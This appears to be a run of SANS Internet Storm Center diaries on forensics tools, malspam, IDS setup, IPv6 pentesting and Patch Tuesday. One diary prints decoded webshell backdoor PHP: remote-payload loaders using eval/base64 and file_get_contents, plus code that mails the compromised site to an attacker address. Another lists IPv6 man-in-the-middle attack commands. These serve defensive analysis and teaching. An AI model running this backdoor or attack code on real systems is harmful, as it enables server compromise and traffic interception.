* Although I tried to manipulate the HTTP POST request changing the parameter “UA-CPU: AMD64” to other architectures, the binary offered by the server in response was the same.




All e-mails were sent by “ordering” @ some domain, like: ordering@interpersdyn.com or ordering@calcblog.com with a message like the following one:


Could you please let me know the status of the attached invoice? I
appreciate your help!

Best regards,

Final words


Something that caught my attention during YKCOL VBS analysis was that the scripts were not obfuscated and contained lots of code unrelated to malicious activities or C&C communication. As seen in Figure 2, we can see a random function called Anim2UniBall that is not called by the script:


Figure 2 – Random code snippet


Searching for this code snippet, I could find many similarities with a gaming framework called OpenARC [2], a clone of a 20 years old game called “Attack, Retrieve, Capture”.

Games apart, not obfuscating and including random code would be a strategy to evade anti-malware euristics? Or maybe trying to trick someone that do not carefully read the code to execute it?


[1] https://www.bleepingcomputer.com/news/security/locky-ransomware-switches-to-the-ykcol-extension-for-encrypted-files/
[2] http://openarc.sourceforge.net/index.php?page=about

Renato Marinho
Morphus Labs| LinkedIn|Twitter


Published: 2017-09-19

New tool: mac-robber.py

On a recent forensic investigation where we couldn't take the Linux system down to image the disks, I was forced to do live response. Fortunately, I was able to get a memory image, but I also wanted a filesystem timeline. I first went to my old friend fls from The SleuthKit (TSK), but for some reason, it failed. So, I tried mac-robber (also from TSK) and it, too, failed. Not one to give up easily, I decided to write my own version of mac-robber in Python. Like the TSK mac-robber, it outputs the data in body file format (so that it can be fed into mactime or elasticsearch). Like the TSK version, by default, it does not hash the files (so it doesn't modify access times), so the "MD5" column defaults to 0. In this case, though, I had reason to believe that there might be multiple copies of some potential malware scattered around the filesystem, so I really wanted to grab hashes, too. So I included the capability in the tool (in my next diary, I'll explain the trick I used to grab hashes without modifying access times). A couple of other notes on the tool. It only hashes "regular" files, it doesn't attempt to hash soft-links, block or character device files, pipes, or sockets. It also skips /proc/kcore which to os.stat() looks like a regular file, but on my dev box is 128TB (a little more than I want to hash). At the moment, it uses MD5 as the hash because that is what fls uses, but I could easily be talked into substituting SHA256 (or SHA3 of whatever length, though in Python -m switch behaves just like the corresponding switch in fls and allows you to prefix the path with a system name or drive letter. The -r switch allows you to remove a prefix (for example, when the directory in question has been mounted on /mnt, but you want your report to show the actual path on the system in question). The -x option actually needs more work, at present, it isn't as flexible as I'd like, but if you want to skip a specific directory or file you can.

The tool can be downloaded from my docker-forensics github and is distributed under the BSD 3-clause license. I hope you find it useful. If you have any questions, comments, suggestions, or bug fixes, please let me know via the comments here, our contact form, or create an issue (or pull request) on github.


[1] https://github.com/att/docker-forensics/blob/master/mac-robber.py

Jim Clausing, GIAC GSE #26
jclausing --at-- isc [dot] sans (dot) edu


Upcoming Courses Taught By Jim Clausing


Type Course / Location Date

Community SANS
FOR610: Reverse-Engineering Malware: Malware Analysis Tools and Techniques
Community SANS Ottawa FOR610 Ottawa, ON
Dec 4, 2017 -
Dec 9, 2017


Published: 2017-09-18

Getting some intelligence from malspam

Many of us are receiving a lot of malspam every day. By "malspam", I mean spam messages that contain a malicious document. This is one of the classic infection vectors today and aggressive campaigns are started every week. Usually, most of them are blocked by modern antivirus or anti-spam but these files could help us to get some intelligence about the topic used by attackers to fool their victims. By checking the names of malicious files (often .rar, .gip or .7r archives), we found classic words like ‘invoice’, ‘reminder’, ‘urgent’, etc… From an attacker perspective, choosing the right name can increase the chances that the target will open the file by business needs or just…curiosity!

I collected files attached to malicious emails and tried to categorize them to determine what were the most common names. To achieve this, I created a list of simple regular expressions based on classic strings and assigned a category to them. Both are stored in a CSV files:


(Note that the two first lines have been obfuscated because they are related to really targeted attacks against an organization)

Then I built a list of 94387 filenames based on the data that I collected since the beginning of 2017. The best place to collect those data is on your incoming mail server or any anti-spam, anti-malware solution logfiles. This is a good opportunity to remind you that logs are critical, log as much as possible! How to check the filenames against all the regular expressions above and tag them with the second field ('Category'). To perform this in an efficient way, I used Splunk.

The regular expressions are stored in the ‘maldocs_re.csv’ file and the filenames into ‘maldocs.csv’ and the following query will return interesting statistics:

|inputlookup maldocs.csv
|eval count=0
|join max=0 count [| inputlookup maldoc_re.csv | eval count=0]
|eval test=if(match(filePath, Regex),1,0)
|where test=1
|stats count by Category

After a few seconds or minutes later, depending on the amount of data you have to process, you will get a nice graph like this:

You can see that most of the malicious files are based on media files but that we also have some hits against the 'Targeted' category. It would be worth to have a look at them! Finally, if you define a single category called ‘Targeted’ with good regular expressions matching your business activity, domain names, login formats, brands or whatever, you can generate alerts if such files are sent to your users and be aware of potential targeted attacks!

Happy hunting!

Xavier Mertens (@xme)
ISC Handler - Freelance Security Consultant


Published: 2017-09-17

rockNSM as a Incident Response Package

Are you looking for a lightweight system to be part of your Incident Response kit? This is probably the package for you. It contains all the basic elements needed to capture data on the fly with Suricata, Bro, Logstash, Kibana, Elasticsearch and Kafka needed to conduct an investigation. Two options exist to get going to build your system, you can use the ISO built on CentOS 7.3 or built your own, and obviously I recommend using the ISO; make sure you check the hardware requirement before starting. "The system you run this on should have at least 2 network interfaces and more than 8GB of RAM, with an OS (RHEL or CentOS 7) already installed."[2] The current version is 2.0.5 and I recommend reading the release notes.

This kit can also be use in a small network (i.e. home is a perfect place for it) as a complete IDS package. The current version has a small issue, when installing via the ISO, make sure when you see an option to create an account that you create your own before continuing, otherwise you won't be able to login.  After you complete the ISO installation, I recommend you run the following commands to complete the setup:

  • sudo su -
  • chown suricata:suricata /var/run/suricata
  • /opt/rocknsm/rock/bin/generate_defaults.sh
  • /opt/rocknsm/rock/bin/deploy_rock.sh
  • rock_status (check if everything is working)
  • rpm --import https://www.centos.org/keys/RPM-GPG-KEY-CentOS-7 (install PGP key)
  • vi /etc/yum.repos.d/CentOS-Base.repo (gpgcheck and enable from 0 to 1)
  • yum clean all && yum check-update
  • yum update (Update all then reboot)
  • yum install bind-utils (optional if you need nslookup or dig)
  • http://IPADDRESS - to access Kibana (I recommand static address)

Check this page for additional information to troubleshoot the system. Overall easy to install (~20 minutes), easy to use and start traffic capture immediately. This is the output of the many Kibana dashboard displaying an overview over the past 24 hours of Bro capture.

[1] https://github.com/rocknsm/rock/releases/download/v2.0.5/rocknsm-2.0.5-1705.iso
[2] https://www.gitbook.com/book/rocknsm/rocknsm-guide/details
[3] https://github.com/rocknsm/rock/releases

Guy Bruneau IPSS Inc.
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu


Published: 2017-09-14

Another webshell, another backdoor!

I’m still busy to follow how webshells are evolving… I recently found another backdoor in another webshell called “cor0.id”. The best place to find webshells remind pastebin.com[1]. When I’m testing a webshell, I copy it in a VM located on a "wild Internet" VLAN in my home lab with, amongst other controls, full packet capture enabled. This way, I can spot immediately is the VM is trying to “phone home” to some external hosts. This was the case this time!

The web shell (SHA256: 518458a1d7d4b058adbd7dd8e283cc2762b444326b815d7c19ec4a333b2b2903) is unknown on VT. It requested another pastie[2] that is called at the beginning of the code:


The pastie is Base64 encoded and compressed. Here is the content:


This one is decoded as another Base64 bunch of data that, once decoded, contents:


The last code fetches a picture via the googleusercontent.com service called paceman.jpg. The picture looks normal: 

(Note: This is not the original one, this one has been sanitized)

If you read the EXIF[3] data, you’ll find indeed that the ‘UserComment’ field contains more Base64 data:

# exif -t UserComment pacman.jpg
EXIF entry 'User Comment' (0x9286, 'UserComment') exists in IFD 'EXIF':
Tag: 0x9286 ('UserComment')
  Format: 7 ('Undefined')
  Components: 2824
  Size: 2824
  Value: ZXZhbChzdHJfcm90MTMoZ3ppbmZsYXRlKGJhc2U2NF9kZWNvZGUoJ3JWWmJqNk5HR24xZktmOWgzM3FpeVFOZ2U2WlJGQ25ZZ0xtVndhWmMySDVwQVRFR2JITnhRNW5pMStlcmNrL1A3Q1NyeVVyN1VFSlExSGM1NTN3SGZxY3hmY2x1cHc5UFNYNUs4OU5MbmIrKzNvNDA3cDUra1g3KzlhZC8vZjcrUWt1emxGV1hsOXZ4bUJ5enAxLysvZGdYdHkvSFc1b2NUM0RzZzNoNkt5cjJvYTZ5MjZmcFMzdHJrdmIyNFNuYTJpVlpTeDJocStkcWE1enE5YlJiNEo1NWp2NXhzVFhTRnAvWmdxNU9DOU5mM2h4N3FCd3RnZmRQWkYwV0xXWlNqYTJQaTBCTmtCTU9pL3VaMW9veGcrc2RPVE1KdWVUakFuZG51QjlyWlNZUmpIcFBzVlEzaUN6UDZZdmFDUnRDL1d2bHBteGhsMVNEUmJCVzFGaTk4SHVpb1BHd1hwV0hzS1NMNGN3OE44cEphQlJrRTdGMmE3RG1YaFpvVlBOMlBYM2VLMjk1SnRHSjRQQU90UlgxWFc0STR6RmwxdUsrUUd1NGovMmltUmc4TDZ0SFRicTV2c2hkdTNZR1owcklJZTBWVkRTamRFSTRsRHhSMDZ5dkhWRzMzT0J6NFRtUVc4UmxBei9idW41V0srR0EzS2doOStsemkwTUt1SFRlcUY0UXRrVXZCMWhRbjlTSWZSMzIybnV0bkl1RzEwZ1BwZWh6N1l2em9xZkEvODk5ekxGNDdGZk9yR3hkdld1M3JFUkwyQjlSV21PYjk1UjdqaXo2UVNQTEVLOTlxNlcza2RkT1pJRWoxSUFDbnlMbEc1eXZxL0lkNS9zNXJXTmZodnp2c2R5SlhkWWhqMlhNR2l4d3VMWk9kS3BjZ1dNcWNHVXF4NGJmSzU1emxrVmRETTVodFlkOHVITE9ER3JnV3BFUTUydGlnRjVBUTl2SE04K0pNclR….

Once decoded, we have another set of Base64/gzipped/ROT13 data and again and again to finally get some interesting PHP code (only the relevant code is displayed to keep the diary short):

echo "$up";
echo "Password E :".$auth_pass;
if (file_exists('.db'))
 {  } else {
$to = "syedich@yahoo[.]com";
$subject = $_SERVER['SERVER_NAME'];
$header = "From: Mastah <jancok@matamucok[.]com>";
$message = "Exploit : http://";. $_SERVER['SERVER_NAME']. $_SERVER['REQUEST_URI'];
mail($to, $subject, $message, $header);
$m = fopen(".db", "w") or die (" ");
$txt = "";
fwrite($m, $txt);
chmod(".db",0644); }
$anak1 = file_get_contents("hXXps://sites.google[.]com/site/bhshll123/bh.txt";);
$nggawe1 = fopen("themes.php","w") or die ("gabisa pak");
header ("Location:themes.php");
$anak = file_get_contents("hXXp://pastebin[.]com/raw/6JA72K8m");
$nggawe = fopen("0x.htm","w") or die ("gabisa pak");

The external links on sites.google.com and pastebin.com aren’t available anymore but we can see interesting behaviors. Based on the GET parameter that is passed within the web shell URL, we have:

  • a form to upload more files to the compromised server (http://xxx?0upload)
  • a way to disclose the password used to restrict access to the web shell (http://xxx?0cek)
  • a shell interface (http://xxx?0shell)
  • a tool to deface (http://xxx?0deface)

You can also see that a mail is sent to a specific address with details to connect to the web shell.

How to search for interesting/suspicious code in PHP? I'm using the Viper[4] framework to keep all my samples in a central place. The extraction of URLs, IP addresses and User-Agents often returns interesting findings:

Webshells viper qyt0dHv1.php > strings -N
[+] Network related:
 - @import url(hXXps://fonts.googleapis[.]com/css?family=Abel);
-      eval(gzinflate(base64_decode(file_get_contents('hXXp://pastebin[.]com/raw/6PJ9Pj8F';))));
-      $_POST = idx_ss($_POST);
- CreateTools("wso","hXXp://pastebin[.]com/raw/3eh3Gej2";);
- CreateTools("adminer"."hXXps://www.adminer[.]org/static/download/4.2.5/adminer-4.2.5.php";;);
- CreateTools("b374k","hXXp://pastebin[.]com/raw/rZiyaRGV";);
- CreateTools("injection","hXXp://pastebin[.]com/raw/nxxL8c1f";);
- CreateTools("promailerv2","hXXp://pastebin[.]com/raw/Rk9v6eSq";);
- CreateTools("gamestopceker","hXXp://pastebin[.]com/raw/QSnw1JXV";);
- CreateTools("bukapalapak","hXXp://pastebin[.]com/raw/6CB8krDi";);
- CreateTools("tokopedia","hXXp://pastebin[.]com/dvhzWgby";);
- CreateTools("encodedecode","hXXp://pastebin[.]com/raw/wqB3G5eZ";);
- CreateTools("mailer","hXXp://pastebin[.]com/raw/9yu1DmJj";);
- CreateTools("r57","hXXp://pastebin[.]com/raw/G2VEDunW";);
- CreateTools("tokenpp","hXXp://pastebin[.]com/raw/72xgmtPL";);
- CreateTools("extractor","hXXp://pastebin[.]com/raw/jQnMFHBL";);
- CreateTools("bh","hXXp://pastebin[.]com/raw/3L2ESWeu";);
- CreateTools("dhanus","hXXp://pastebin[.]com/raw/v4xGus6X";);
- $ling="http://".$_SERVER['SERVER_NAME']."";; .$_SERVER['PHP_SELF']."?create";

[Stuff deleted]

- <a href="hXXp://hub.obsidiancyberteam[.]id/">Obsidian Cyber Team</a>';
-              if(adminer("hXXps://www.adminer[.]org/static/download/4.2.4/adminer-4.2.4.php","adminer.php";;)) {
-                                curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6[.]1; rv:32.0) Gecko/20100101 Firefox/32.0");

Webshells viper qyt0dHv1[.]php > strings -I
[+] Various interesting strings:
-                        curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6[.]1; rv:32.0) Gecko/20100101 Firefox/32.0");
- curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5[.]1; en-US; rv: Gecko/2009032609 Firefox/3.0.8');
- curl_setopt($curl, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 6[.]0; Windows NT 5[.]1; SV1; .NET CLR 1.1[.]4322; .NET CLR 2.0[.]50727)"); //msnbot/1.0 (+hXXp://search.msn[.]com/msnbot.htm)
-                                curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6[.]1; rv:32.0) Gecko/20100101 Firefox/32.0");

Also search for interesting functions like get_file_content(), eval() or system().

While googling for indicators in the code, I found references to similar webshells reported in 2016. So the code is not new but seems to still be maintained and deployed in the wild. Another good reason to remind you to NEVER install such webshells on production servers. Most of them contain malicious code and backdoors! And of course, web servers should not have direct access to the Internet!

[1] https://pastebin.com/raw/qyt0dHv1
[2] http://pastebin.com/raw/6PJ9Pj8F
[3] https://en.wikipedia.org/wiki/Exif
[4] http://www.viper.li/

Xavier Mertens (@xme)
ISC Handler - Freelance Security Consultant


Published: 2017-09-13

No IPv6? Challenge Accepted! (Part 1)

I recently had an internal penetration test with a client.  During the initial discussions, where the client set the scope and so on, I asked if they had any IPv6 in their environment (mainly because I'm hoping that someday, someone will say yes).  Their answer was an emphatic "no".  My answer to that was "Challenge Accepted?", and they ruled IPv6 in scope with a "knock yourself out, there's nothing there".

As many of you know, IPv6 is enabled on most modern operating systems, and if a path is found, IPv6 is usually prefered over IPv4.  In most organizations though, IPv6 is disabled on the routers and firewalls - so there's nowhere for IPv6 to go and no way for IPv6 to be auto-configured (aside from Locally Administered Addressing).  That is, until there's a malicious actor (that'd be me) in the environment.

You don't have to look far for tools to exploit the IPv6 protocol.  Kali has the most excellent THC IPv6 Attack Toolkit installed (https://github.com/vanhauser-thc/thc-ipv6).  Using this toolkit is pretty straigtforward (I only list the tools I commonly use below):

Enumeration Tools:
alive6 is a quick and dirty "what IPv6 hosts are on my network segement?" tool
dump_router6  will (as you'd expect) dump any IPv6 routers on the local segment.  In a production environment, "netstat -rn" will usually do the trick also.
passive_discovery6 combines a number of features, doing passive discovery of the entire network segment, and lifting all the information from the IPv6 multicast packets (which is used instead of broadcasts like ARP in IPv6).

Attack Tools:
fake_dhcps6 and fake_dns6d stand up malicious DHCP and DNS servers, which allow you to give victim hosts "real" IPv6 addresses that can be routed, and resolve DNS queries to malicious IPv6 host addresses.
fake_router26 and fake_router6 are the "go to" Man in the Middle attack tools for IPv6 - these allow you to stand up a default router for IPv6, which will be prefered over existing IPv4 routers.  Note that you need to set up a mechanism to forward IPv6 packets.  This means you need to enable IPv6 forwarding, then either tunnel IPv6 outbound, usually to an internet gateway, or nat/proxy the IPv6 packets back to IPv4 (which you then forward to the "real" IPv4 router).  What this means is that there's some thought and preparation required to mount this attack.  

Mounting an IPv6 Man in the Middle attack is as simple as: "fake_router6 eth0  BAD1::00/64" (the last parameter is the network - either your "fake" IPv6 network, or your customer's real IPv6 network).  Note that you then have to do the other half - send the victim stations' packets on to their destination (stay tuned for that in my next post).

kill_router6 allows you to take any production IPv6 router offline.  So far I haven't needed this tool, IPv6 just isn't widely implemented in corporate clients I generally work with.

More info on using the THC attack toolkit can be found here: https://tools.kali.org/information-gathering/thc-ipv6

Defenses against these attacks?
The defenses against IPv6 router hijack attacks lie primarily in an organization's switches.  Enabling a feature called "RA Guard" to simply block Router Advertisements (defending against the fake router attack tools):
int Ethernet x/y
    ipv6 nd raguard

If you don't have an IPS on every segment, enabling RA guard on switches will create a syslog event - you can monitor for that with your SEIM, or even easier, look for it directly on your syslog server ( https://isc.sans.edu/forums/diary/Syslog+Skeet+Shooting+Targetting+Real+Problems+in+Event+Logs/19449/ ) .  The log entry you are looking for is:
"ICMPv6-ND: Received RA from FE80::1 on Vlan72"  (of course the vlan number will vary)

Configuring a policy for Neighbor Discovery (ND) can defend against the IPv6 reconnassance tools:
ipv6 nd inspection policy NDPOLICY
    sec-level minimum 2
    device-role monitor

int Ethernet x/y
    ipv6 nd inspection attach-policy NDPOLICY vlan add all

Then don't configure any "trusted" ports for RA (Router Advertisements)

Of course, on any segment that you have an IPS sensor you can use that too, if you don't have IPv6 running in production then if you detect any IPv6 RA packets, DNS responses from a local IP or a DHCP6 responses, these should all be classified as attacks, and dealt with some sense of priority.

Cisco covers IPv6 First Hop Security in much more detail here: https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/ipv6_fhsec/configuration/xe-3s/ip6f-xe-3s-book/ip6-snooping.pdf - I'd recommend looking at encryption and signing of the IPv6 infrastructure functions if you're standing up an IPv6 infrastructure, and not just defending against rogue IPv6 in an IPv4 network.

Stay tuned, in the next installments to this story I'll cover some handy IPv6 NAT/Proxy attack techniques, a soup-to-nuts IPv6 based Man in the Middle attack, as well as defenses you can implement on on firewalls.

Have I missed anything important in this post?  Do you use a different set of tools to attack IPv6 - maybe Scapy or Metasploit?  Please, post your tools or approaches for discussion in our comment form

Rob VandenBrink



Published: 2017-09-13

Microsoft Patch Tuesday September 2017


Below we do have our quick summary table for today's Microsoft patches. I am still working on getting this set up a bit better based on the new Microsoft patch Tuesday process.

Title CVE
Publicly Disclosed? Exploited? Impact Rating
.NET Framework Remote Code Execution Vulnerability CVE-2017-8759
Not Publicly Disclosed Exploited! Remote Code Execution Important
Broadcom BCM43xx Remote Code Execution Vulnerability CVE-2017-9417
Publicly Disclosed Not Exploited Remote Code Execution Important
Device Guard Security Feature Bypass Vulnerability CVE-2017-8746
Publicly Disclosed Not Exploited Security Feature Bypass Important
Graphics Component Information Disclosure Vulnerability CVE-2017-8695
Not Publicly Disclosed Not Exploited Information Disclosure Important
Hyper-V Denial of Service Vulnerability CVE-2017-8704
Not Publicly Disclosed Not Exploited Denial of Service Important
Hyper-V Information Disclosure Vulnerability CVE-2017-8706
Not Publicly Disclosed Not Exploited Information Disclosure Important
Hyper-V Information Disclosure Vulnerability CVE-2017-8707
Not Publicly Disclosed Not Exploited Information Disclosure Important
Hyper-V Information Disclosure Vulnerability CVE-2017-8711
Not Publicly Disclosed Not Exploited Information Disclosure Important
Hyper-V Information Disclosure Vulnerability CVE-2017-8712
Not Publicly Disclosed Not Exploited Information Disclosure Important
Hyper-V Information Disclosure Vulnerability CVE-2017-8713
Not Publicly Disclosed Not Exploited Information Disclosure Important
Internet Explorer Memory Corruption Vulnerability CVE-2017-8747
Not Publicly Disclosed Not Exploited Remote Code Execution Critical
Internet Explorer Memory Corruption Vulnerability CVE-2017-8749
Not Publicly Disclosed Not Exploited Remote Code Execution Critical
Internet Explorer Spoofing Vulnerability CVE-2017-8733
Not Publicly Disclosed Not Exploited Spoofing Important
Microsoft Bluetooth Driver Spoofing Vulnerability CVE-2017-8628
Not Publicly Disclosed Not Exploited Spoofing Important
Microsoft Browser Information Disclosure Vulnerability CVE-2017-8736
Not Publicly Disclosed Not Exploited Information Disclosure Important
Microsoft Browser Memory Corruption Vulnerability CVE-2017-8750
Not Publicly Disclosed Not Exploited Remote Code Execution Critical
Microsoft Edge Information Disclosure Vulnerability CVE-2017-8597
Not Publicly Disclosed Not Exploited Information Disclosure Important
Microsoft Edge Information Disclosure Vulnerability CVE-2017-8643
Not Publicly Disclosed Not Exploited Information Disclosure Important
Microsoft Edge Information Disclosure Vulnerability CVE-2017-8648
Not Publicly Disclosed Not Exploited Information Disclosure Important
Microsoft Edge Memory Corruption Vulnerability CVE-2017-11766
Not Publicly Disclosed Not Exploited Remote Code Execution Critical
Microsoft Edge Memory Corruption Vulnerability CVE-2017-8731
Not Publicly Disclosed Not Exploited Remote Code Execution Critical
Microsoft Edge Memory Corruption Vulnerability CVE-2017-8734
Not Publicly Disclosed Not Exploited Remote Code Execution Critical
Microsoft Edge Memory Corruption Vulnerability CVE-2017-8751
Not Publicly Disclosed Not Exploited Remote Code Execution Critical
Microsoft Edge Remote Code Execution Vulnerability CVE-2017-8757
Not Publicly Disclosed Not Exploited Remote Code Execution Critical
Microsoft Edge Security Feature Bypass Vulnerability CVE-2017-8723
Publicly Disclosed Not Exploited Security Feature Bypass Moderate
Microsoft Edge Security Feature Bypass Vulnerability CVE-2017-8754
Not Publicly Disclosed Not Exploited Security Feature Bypass Important
Microsoft Edge Spoofing Vulnerability CVE-2017-8724
Not Publicly Disclosed Not Exploited Spoofing Important
Microsoft Edge Spoofing Vulnerability CVE-2017-8735
Not Publicly Disclosed Not Exploited Spoofing Moderate
Microsoft Exchange Cross-Site Scripting Vulnerability CVE-2017-8758
Not Publicly Disclosed Not Exploited Elevation of Privilege Important
Microsoft Exchange Information Disclosure Vulnerability CVE-2017-11761
Not Publicly Disclosed Not Exploited Information Disclosure Important
Microsoft Graphics Component Remote Code Execution CVE-2017-8696
Not Publicly Disclosed Not Exploited Remote Code Execution Critical
Microsoft Office Defense in Depth Update ADV170015
Publicly Disclosed Exploited! Defense in Depth N/A
Microsoft Office Memory Corruption Vulnerability CVE-2017-8630
Not Publicly Disclosed Not Exploited Remote Code Execution Important
Microsoft Office Memory Corruption Vulnerability CVE-2017-8631
Not Publicly Disclosed Not Exploited Remote Code Execution Important
Microsoft Office Memory Corruption Vulnerability CVE-2017-8632
Not Publicly Disclosed Not Exploited Remote Code Execution Important
Microsoft Office Memory Corruption Vulnerability CVE-2017-8744
Not Publicly Disclosed Not Exploited Remote Code Execution Important
Microsoft Office Publisher Remote Code Execution CVE-2017-8725
Not Publicly Disclosed Not Exploited Remote Code Execution Important
Microsoft Office Remote Code Execution CVE-2017-8567
Not Publicly Disclosed Not Exploited Remote Code Execution Important
Microsoft PDF Remote Code Execution Vulnerability CVE-2017-8728
Not Publicly Disclosed Not Exploited Remote Code Execution Critical
Microsoft PDF Remote Code Execution Vulnerability CVE-2017-8737
Not Publicly Disclosed Not Exploited Remote Code Execution Critical
Microsoft SharePoint Cross Site Scripting Vulnerability CVE-2017-8745
Not Publicly Disclosed Not Exploited Elevation of Privilege Important
Microsoft SharePoint XSS Vulnerability CVE-2017-8629
Not Publicly Disclosed Not Exploited Elevation of Privilege Important
NetBIOS Remote Code Execution Vulnerability CVE-2017-0161
Not Publicly Disclosed Not Exploited Remote Code Execution Critical
PowerPoint Remote Code Execution Vulnerability CVE-2017-8742
Not Publicly Disclosed Not Exploited Remote Code Execution Important
PowerPoint Remote Code Execution Vulnerability CVE-2017-8743
Not Publicly Disclosed Not Exploited Remote Code Execution Important
Remote Desktop Virtual Host Remote Code Execution Vulnerability CVE-2017-8714
Not Publicly Disclosed Not Exploited Remote Code Execution Important
Scripting Engine Information Disclosure Vulnerability CVE-2017-8739
Not Publicly Disclosed Not Exploited Information Disclosure Important
Scripting Engine Memory Corruption Vulnerability CVE-2017-11764
Not Publicly Disclosed Not Exploited Remote Code Execution Critical
Scripting Engine Memory Corruption Vulnerability CVE-2017-8649
Not Publicly Disclosed Not Exploited Remote Code Execution Critical
Scripting Engine Memory Corruption Vulnerability CVE-2017-8660
Not Publicly Disclosed Not Exploited Remote Code Execution Critical
Scripting Engine Memory Corruption Vulnerability CVE-2017-8729
Not Publicly Disclosed Not Exploited Remote Code Execution Critical
Scripting Engine Memory Corruption Vulnerability CVE-2017-8738
Not Publicly Disclosed Not Exploited Remote Code Execution Critical
Scripting Engine Memory Corruption Vulnerability CVE-2017-8740
Not Publicly Disclosed Not Exploited Remote Code Execution Critical
Scripting Engine Memory Corruption Vulnerability CVE-2017-8741
Not Publicly Disclosed Not Exploited Remote Code Execution Critical
Scripting Engine Memory Corruption Vulnerability CVE-2017-8748
Not Publicly Disclosed Not Exploited Remote Code Execution Critical
Scripting Engine Memory Corruption Vulnerability CVE-2017-8752
Not Publicly Disclosed Not Exploited Remote Code Execution Critical
Scripting Engine Memory Corruption Vulnerability CVE-2017-8753
Not Publicly Disclosed Not Exploited Remote Code Execution Critical
Scripting Engine Memory Corruption Vulnerability CVE-2017-8755
Not Publicly Disclosed Not Exploited Remote Code Execution Critical
Scripting Engine Memory Corruption Vulnerability CVE-2017-8756
Not Publicly Disclosed Not Exploited Remote Code Execution Critical
September 2017 Flash Security Update ADV170013
Not Publicly Disclosed Not Exploited Remote Code Execution Critical
Uniscribe Remote Code Execution Vulnerability CVE-2017-8692
Not Publicly Disclosed Not Exploited Remote Code Execution Important
Win32k Elevation of Privilege Vulnerability CVE-2017-8675
Not Publicly Disclosed Not Exploited Elevation of Privilege Important
Win32k Elevation of Privilege Vulnerability CVE-2017-8720
Not Publicly Disclosed Not Exploited Elevation of Privilege Important
Win32k Graphics Information Disclosure Vulnerability CVE-2017-8683
Not Publicly Disclosed Not Exploited Information Disclosure Important
Win32k Graphics Remote Code Execution Vulnerability CVE-2017-8682
Not Publicly Disclosed Not Exploited Remote Code Execution Critical
Win32k Information Disclosure Vulnerability CVE-2017-8677
Not Publicly Disclosed Not Exploited Information Disclosure Important
Win32k Information Disclosure Vulnerability CVE-2017-8678
Not Publicly Disclosed Not Exploited Information Disclosure Important
Win32k Information Disclosure Vulnerability CVE-2017-8680
Not Publicly Disclosed Not Exploited Information Disclosure Important
Win32k Information Disclosure Vulnerability CVE-2017-8681
Not Publicly Disclosed Not Exploited Information Disclosure Important
Win32k Information Disclosure Vulnerability CVE-2017-8687
Not Publicly Disclosed Not Exploited Information Disclosure Important
Windows DHCP Server Remote Code Execution Vulnerability CVE-2017-8686
Not Publicly Disclosed Not Exploited Remote Code Execution Critical
Windows Elevation of Privilege Vulnerability CVE-2017-8702
Not Publicly Disclosed Not Exploited Elevation of Privilege Important
Windows GDI+ Information Disclosure Vulnerability CVE-2017-8676
Not Publicly Disclosed Not Exploited Information Disclosure Critical
Windows GDI+ Information Disclosure Vulnerability CVE-2017-8684
Not Publicly Disclosed Not Exploited Information Disclosure Important
Windows GDI+ Information Disclosure Vulnerability CVE-2017-8685
Not Publicly Disclosed Not Exploited Information Disclosure Important
Windows GDI+ Information Disclosure Vulnerability CVE-2017-8688
Not Publicly Disclosed Not Exploited Information Disclosure Important
Windows Information Disclosure Vulnerability CVE-2017-8710
Not Publicly Disclosed Not Exploited Information Disclosure Important
Windows Kernel Information Disclosure Vulnerability CVE-2017-8679
Not Publicly Disclosed Not Exploited Information Disclosure Important
Windows Kernel Information Disclosure Vulnerability CVE-2017-8708
Not Publicly Disclosed Not Exploited Information Disclosure Important
Windows Kernel Information Disclosure Vulnerability CVE-2017-8709
Not Publicly Disclosed Not Exploited Information Disclosure Important
Windows Kernel Information Disclosure Vulnerability CVE-2017-8719
Not Publicly Disclosed Not Exploited Information Disclosure Important
Windows Security Feature Bypass Vulnerability CVE-2017-8716
Not Publicly Disclosed Not Exploited Security Feature Bypass Important
Windows Shell Remote Code Execution Vulnerability CVE-2017-8699
Not Publicly Disclosed Not Exploited Remote Code Execution Important

Johannes B. Ullrich, Ph.D. , Dean of Research, SANS Technology Institute


Published: 2017-09-11

Windows Auditing with WINspect

WINSpect recently hit my radar via Twitter, and the author, Amine Mehdaoui, just posted an update a couple of days ago, so no time like the present to give you a walk-through. WINSpect is a Powershell-based Windows Security Auditing Toolbox. According to Amine's GitHub README, WINSpect "is part of a larger project for auditing different areas of Windows environments. It focuses on enumerating different parts of a Windows machine aiming to identify security weaknesses and point to components that need further hardening. The main targets for the current version are domain-joined windows machines. However, some of the functions still apply for standalone workstations."
The current script feature set includes audit checks and enumeration for:

  • Installed security products
  • World-exposed local filesystem shares
  • Domain users and groups with local group membership
  • Registry autoruns
  • Local services that are configurable by Authenticated Users group members
  • Local services for which corresponding binary is writable by Authenticated Users group members
  • Non-system32 Windows Hosted Services and their associated DLLs
  • Local services with unquoted path vulnerability
  • Non-system scheduled tasks
  • DLL hijackability
  • User Account Control settings
  • Unattended installs leftovers

I can see this useful PowerShell script coming in quite handy for assessment using the CIS Top 20 Security Controls. I ran it on my domain-joined Windows 10 Surface Book via a privileged PowerShell and liked the results.

The script confirms that it's running with admin rights, checks PowerShell version, then inspects Windows Firewall settings. Looking good on the firewall, and WINSpect tees right off on my Window Defender instance and its configuration as well.

Not sharing a screenshot of my shares or admin users, sorry, but you'll find them enumerated when you run WINSpect.

 WINSpect then confirmed that UAC was enabled, and that it should notify me only apps try to make changes, then checked my registry for autoruns; no worries on either front, all confirmed as expected.

WINSpect wrapped up with a quick check of configurable services, SMSvcHost is normal as part of .NET, even if I don't like it, but the flowExportService doesn't need to be there at all, I removed that a while ago after being really annoyed with it during testing. No user hosted services, and DLL Safe Search is enable...bonus. Finally, no unattended install leftovers, and all the scheduled tasks are normal for my system. Sweet, pretty good overall, thanks WINSpect. :-)

Give it a try for yourself, and keep an eye out for updates. Amine indicates that Local Security Policy controls, administrative shares configs, loaded DLLs, established/listening connections, and exposed GPO scripts on the to-do list. 

Cheers...until next time.

Russ McRee | @holisticinfosec


Published: 2017-09-10

It is a resume - Part 3

